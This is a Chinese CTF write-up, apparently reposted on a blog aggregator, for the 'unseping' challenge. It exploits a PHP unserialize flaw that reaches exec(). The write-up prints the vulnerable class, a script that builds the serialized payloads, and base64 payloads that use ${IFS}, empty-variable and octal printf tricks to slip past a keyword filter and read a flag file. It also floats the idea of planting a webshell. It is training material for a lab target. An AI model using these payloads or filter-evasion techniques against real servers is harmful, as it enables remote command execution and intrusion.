江苏工匠杯_unseping_wp

这篇具有很好参考价值的文章主要介绍了江苏工匠杯_unseping_wp。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

前言

原题地址

工具的准备

分析代码

整个代码流程

琐碎知识点

解题代码测试

重要思路及测试

​总结


关键字:江苏工匠杯 unseping 攻防世界 ctf解题wp

前言

有好久没有做过ctf的题了 之前一直在学习打靶的课程, 这次忽然产生了做题的想法 可能也是受到学校竞赛的影响、在此之前都是一个人默默在学网络安全,真不知道能走到哪里 。

关于ctf 我一直认为脑洞很大 涉及的知识点相当多 有的不乏奇技淫巧。网上的wp有很多人写 但我认为有很多缺乏思路 验证 因此我想写详细一点的 带思路的wp .

原题地址

攻防世界https://adworld.xctf.org.cn/challenges/details?hash=3714626e-3a5b-11ed-abf3-fa163e4fa609&task_category_id=3

江苏工匠杯_unseping_wp

点击获取在线场景

江苏工匠杯_unseping_wp

这是一个php的代码 似乎要post的方法提交一个名为ctf的参数 之后对ctf进行base64的解码 在反序列化

说到php的unserialize 不得不提的是反序列化的漏洞 这种漏洞一定程度上可以实现参数可控注入payload 结合魔术方法执行函数

工具的准备

我需要发post请求 可是我的浏览器不能手动编辑发送的包。 想用bp截包的话,得安装jave的环境 而且用浏览器搜索东西的时候得切来切去比较麻烦 ,用kali虚拟机得太内存了 。最后还是用火狐浏览器的插件

江苏工匠杯_unseping_wp

最后为了测试php 我又安装WAMPSERVER来测试php代码

江苏工匠杯_unseping_wp

分析代码

源码版

<?php
highlight_file(__FILE__);
​
class ease{
  
  private $method;
  private $args;
  function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
  }
 
  function __destruct(){
    if (in_array($this->method, array("ping"))) {
      call_user_func_array(array($this, $this->method), $this->args);
    }
  } 
 
  function ping($ip){
    exec($ip, $result);
    var_dump($result);
  }
​
  function waf($str){
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
      return $str;
    } else {
      echo "don't hack";
    }
  }
 
  function __wakeup(){
    foreach($this->args as $k => $v) {
      $this->args[$k] = $this->waf($v);
    }
  }  
}
​
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
 

分析版

<?php
highlight_file(__FILE__);
​
class ease{
    
​
    private $method;//ping
    private $args;//array('')
    function __construct($method, $args) {//创建对象时触发
        $this->method = $method;
        $this->args = $args;
    }
     
    function __destruct(){//对象销毁时触发
        if (in_array($this->method, array("ping"))) {//如果ping匹配数组里有ping进入if  
            //这个决定了 $a = new ease("ping",array('pwd'));的第一个参数ping
            //下面的函数也决定了第二个参数是 数组型array('')
            call_user_func_array(array($this, $this->method), $this->args);
            //调用回调函数,并把一个数组参数作为回调函数的参数
            //被调用的函数 this之这个类 method 就是函数ping  参数是args
            //只针对php
           // call_user_func_array(array($ease,"ping"),array('one'));
        }
    } 
     
    function ping($ip){//等于执行了ping("one") 
        //ping的参数只有一个因此数组传一个参就好了
        exec($ip, $result);
        var_dump($result);//貌似执行了这个$ip命令返回了结果
    }
    
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            //正则表达式()整体修饰|或&或;或 或/或cat或flag或tac或php或ls 这都是liunx常用的一些执行命令
            return $str;//绕过表达式 返回传参
        } else {
            echo "don't hack";
        }
    }
     
    function __wakeup(){//执行unserialize()时,先会调用这个函数
        foreach($this->args as $k => $v) {//遍历关联数组  foreach ($array as $key => $value)
            $this->args[$k] = $this->waf($v);//调用waf函数输入$v  //若果绕过waf本身的args不会变
        }
    }   
​
}
​
$ctf=@$_POST['ctf'];//post传参ctf=xxxx
@unserialize(base64_decode($ctf));//先对ctf进行base64解密 在反序列话
//unserialize先检查__wakeup()存在的意义:常常初始化操作 或 连接数据库
/*(前提:有可利用的类)
常见的魔术方法
__construct()        //创建对象时触发
​
__destruct()        //对象销毁时触发
​
__call()        //在对象中调用不可访问的方法时触发
​
__callStatic()        //在静态中调用不可访问的方法时触发
​
__get()        //用于从不可访问的属性读取数据
​
__set()        //用于将数据写入不可访问的属性
​
__isset()        //在不可访问的属性上调用isset()或empty()触发
​
__unset()        //在不可访问的属性上使用unset()时触发
​
__invoke()        //当脚本尝试将对象调用为函数时触发
​
__wakeup()        //执行unserialize()时,先会调用这个函数
​
__sleep()        //执行serialize()时,先会调用这个函数*/
​
?>

整个代码流程

如果ctf里有了序列化的参数

传参ctf——base64解密——进__construct ()(带进去参数)(注意:这个之前传参创建对象的时候就执行了)——进入__wakeup(绕过正则表达式)——调用waf()——反序列化——__destruct()——用call_user_func_array调用ping函数——ping

琐碎知识点

1,正则表达式

2,魔术方法

3,php函数preg_match_all

4,php函数call_user_func_array

5,php函数exec

参考php官方手册PHP: Hypertext Preprocessorhttps://www.php.net/

正则表达式正则表达式 – 语法 | 菜鸟教程正则表达式 - 语法 正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。 例如: runoo+b,可以匹配 runoob、runooob、runoooooob 等,+ 号代表前面的字符必须至少出现一次(1次或多次)。 runoo*b,可以匹配 runob、runoob、runoooooob 等..https://www.runoob.com/regexp/regexp-syntax.html

这些请自行学习

解题代码测试

可以结合分析代码来回看

建立文件 本地测试

<?php
highlight_file(__FILE__);
​
class ease{
​
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
 
// function __destruct(){
//     if (in_array($this->method, array("ping"))) {
//         call_user_func_array(array($this, $this->method), $this->args);
//     }
// } 
 
// function ping($ip){
//     exec($ip, $result);
//     var_dump($result);
// }
​
// function waf($str){
//     if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
//         return $str;
//     } else {
//         echo "don't hack";
//     }
// }
 
// function __wakeup(){
//     foreach($this->args as $k => $v) {
//         $this->args[$k] = $this->waf($v);
//     }
// }   
}
​
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
​
$a = new ease("ping",array('测试点'));
//Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMDoiJChwcmludGYJIlwxNTRcMTYzIikiO319
​
$b = serialize($a);
​
echo $b;
echo base64_encode($b);//将打印出base64复制到post ctf参数中
​
?>
 

重要思路及测试

$a = new ease("ping",array('pwd'));

 

将编码后的base64 通过参数名ctf post到题里 

江苏工匠杯_unseping_wp

 pwd成功被执行了

想执行ls 看看flag 在哪里 可是ls会被匹配到 怎么才能绕过呢

通过网络大量的检索 发现可以用一些空的环境变量绕过

$a = new ease("ping",array('l${Z}s'));

输出Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJsJHtafXMiO319

江苏工匠杯_unseping_wp

 查看到类似文件夹flag_ls_here

执行ls flag_1s_here就好了 注意flag也要绕过

$a = new ease("ping",array('l${Z}s${IFS}f${Z}lag_1${Z}s_here'));//flag_831b69012c67b35f.php

ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMjoibCR7Wn1zJHtJRlN9ZiR7Wn1sYWdfMSR7Wn1zX2hlcmUiO319

注意${IFS}这个可以替代空格 如果是敲到的空格 会造成命令未执行成功返回空数组

江苏工匠杯_unseping_wp

看来flag_1s_here文件夹下存在

flag_831b69012c67b35f.php

访问http://61.147.171.105:57377/flag_1s_here/flag_831b69012c67b35f.php

这个是php文件空白的 看来执行php后无法获取flag

需要用到cat命令

怎样才能执行 cat flag_1s_here/flag_831b69012c67b35f.php呢

cat flag php 这几个关键词可以绕过 但是”/“怎么可以绕过?

通过网络的检索最终也没有得到绕过的方法     ; 和&又不能用 想要多次执行语句以此替代“/”行不通

cd flag_1s_here;cat flag_831b69012c67b35f.php

cd flag_1s_here&&cat flag_831b69012c67b35f.php

但是在检索中我发现一种执行命令的新方法

貌似是uncode编码$(printf "\154\163") 但是好像并不是unicode编码

江苏工匠杯_unseping_wp

拿着这段代码 在我的kali机上执行发现真的可以执行ls命令

\154\163怎么就能代替ls了!?

印象中“\”开头的是八进制 这会不会是assic码

\154=4+5*8+1*8^2=4+40+64=108 对应assic码”l“

\163=3+6*8+1*8^2=3+48+64=115 对应assic码”s“

根据这个思路我写了一个c语言的代码

#include <stdio.h>
int main()
{
    /* code */
    char site[] = "cat flag_1s_here/flag_831b69012c67b35f.php";
    for (int i = 0; i < sizeof site / sizeof site[0]; i++) {
        printf("\\%o",site[i]);
    }
    return 0;
}

运行后结果为

\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160

使用

$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));

输出Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319

继续测试

江苏工匠杯_unseping_wp

终于得到了flag

总结

本题出现了大量我所未知的php函数 十分的考验短时间内学习的能力 往往做题中也是这样 边做题 边学习。

flag找到了 我也有几个思考

是否有其他的命令代替cat呢?

能不能向网站目录里 写入一句话 来获取一个更好的shell呢

是否有其他的绕过方式来执行命令?

关于php的编码(使用双重编码)是否可以绕过呢?

...

这几个交个大家思考吧!

如果你在做题的过程中遇到了什么难题 或者有什么不明白的地方 ,再或者你有什么更好的思路

欢迎在评论下方留言 让我们一起讨论。文章来源地址https://www.toymoban.com/news/detail-411103.html

到了这里,关于江苏工匠杯_unseping_wp的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 《Git入门实践教程》前言+目录

    版本控制系统(VCS)在项目开发中异常重要,但和在校大学生的交流中知道,这个重要方向并未受到重视。具备这一技能,既是项目开发能力的体现,也可为各种面试加码。在学习体验后知道,Git多样化平台、多种操作方式、丰富的资源为业内人士提供了方便的同时,也造成

    2024年02月10日
    浏览(72)
  • FPGA学习实践之旅——前言及目录

    很早就有在博客中记录技术细节,分享一些自己体会的想法,拖着拖着也就到了现在。毕业至今已经半年有余,随着项目越来越深入,感觉可以慢慢进行总结工作了。趁着2024伊始,就先开个头吧,这篇博客暂时作为汇总篇,记录在这几个月以及之后从FPGA初学者到也算有一定

    2024年02月03日
    浏览(58)
  • WEB:unseping

    背景知识         php序列化和反序列化         命令执行绕过方式 题目  进行代码审计 可知为反序列化 整体是创建case类,可接受post传来的ctf值 _consturuct函数 ,是在函数调动前启用,构造了 $method和$args 两个变量。 _dexstruct 函数在变量摧毁的时使用,所以放在后面。该方法

    2024年02月15日
    浏览(24)
  • “前端”工匠系列(二):合格的工匠,怎么做好价值落地

    如果你是一个技术人,相信都知道技术圈有个相互的鄙视链,这个链条从技术人自己认知的角度在以业务价值为中心嵌套的一层一层的环,就像洋葱,具体的描述这里不赘述了。 出门左拐随便抓住一个人问一下。这种偏自嘲类的观点,有点类似\\\"程序员的穿着必须是格子衫\\\"、

    2024年02月05日
    浏览(44)
  • “前端”工匠系列(一):合格的工匠,究竟该搞什么 | 京东云技术团队

    作者:京东零售 刘伟东 此文为系列文章第一篇,为浅尝辄止的引入,目的是为了让前端从业人员及非从业但是对此领域感兴趣的人对于”前端“是干什么的这个话题有个无门槛的了解。 “前端职能是什么” 说起\\\"前端\\\",维基百科对这个技术角色的定位是“前端(英語:fr

    2024年02月02日
    浏览(36)
  • 宝塔 ftp 服务器发回了不可路由的地址/读取目录列表失败

    ftp连接不上: 1.注意内网IP和外网IP 2.检查ftp服务是否启动 (面板首页即可看到) 3.检查防火墙 20 端口 ftp 21 端口及被动端口 39000 - 40000 是否放行 (如是腾讯云/阿里云等还需检查安全组) 4.是否主动/被动模式都不能连接 5.新建一个用户看是否能连接 6.修改ftp配置文件 将For

    2024年01月23日
    浏览(46)
  • leetcode原题: 生存人数

    题目: 给定 N 个人的出生年份和死亡年份,第 i 个人的出生年份为 birth[i] ,死亡年份为 death[i] ,实现一个方法以计算生存人数最多的年份。 你可以假设所有人都出生于 1900 年至 2000 年(含 1900 和 2000 )之间。如果一个人在某一年的任意时期处于生存状态,那么他应该被纳入

    2024年02月10日
    浏览(46)
  • leetcode原题:变位词组(哈希)

    题目: 编写一种方法,对字符串数组进行排序,将所有变位词组合在一起。变位词是指字母相同,但排列不同的字符串。 示例: 输入: [\\\"eat\\\", \\\"tea\\\", \\\"tan\\\", \\\"ate\\\", \\\"nat\\\", \\\"bat\\\"], 输出: [   [\\\"ate\\\",\\\"eat\\\",\\\"tea\\\"],   [\\\"nat\\\",\\\"tan\\\"],   [\\\"bat\\\"] ] 解题思路: 本题是需要将相同的变位词放在一维数组中,

    2024年02月11日
    浏览(37)
  • leetcode原题: 峰与谷

    题目: 在一个整数数组中,“峰”是大于或等于相邻整数的元素,相应地,“谷”是小于或等于相邻整数的元素。例如,在数组{5, 8, 4, 2, 3, 4, 6}中,{8, 6}是峰, {5, 2}是谷。现在给定一个整数数组,将该数组按峰与谷的交替顺序排序。 示例: 输入: [5, 3, 1, 2, 3] 输出: [5, 1, 3,

    2024年02月11日
    浏览(55)
  • leetcode原题:节点间通路

    题目: 给定有向图,设计一个算法,找出两个节点之间是否存在一条路径。 示例:  输入:n = 3, graph = [[0, 1], [0, 2], [1, 2], [1, 2]], start = 0, target = 2  输出:true  解题思路: 本题借助队列,利用队列的先进先出的特点,保证访问每个节点的顺序不被破坏。 1. 建立邻接表map ,讲

    2024年02月13日
    浏览(52)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包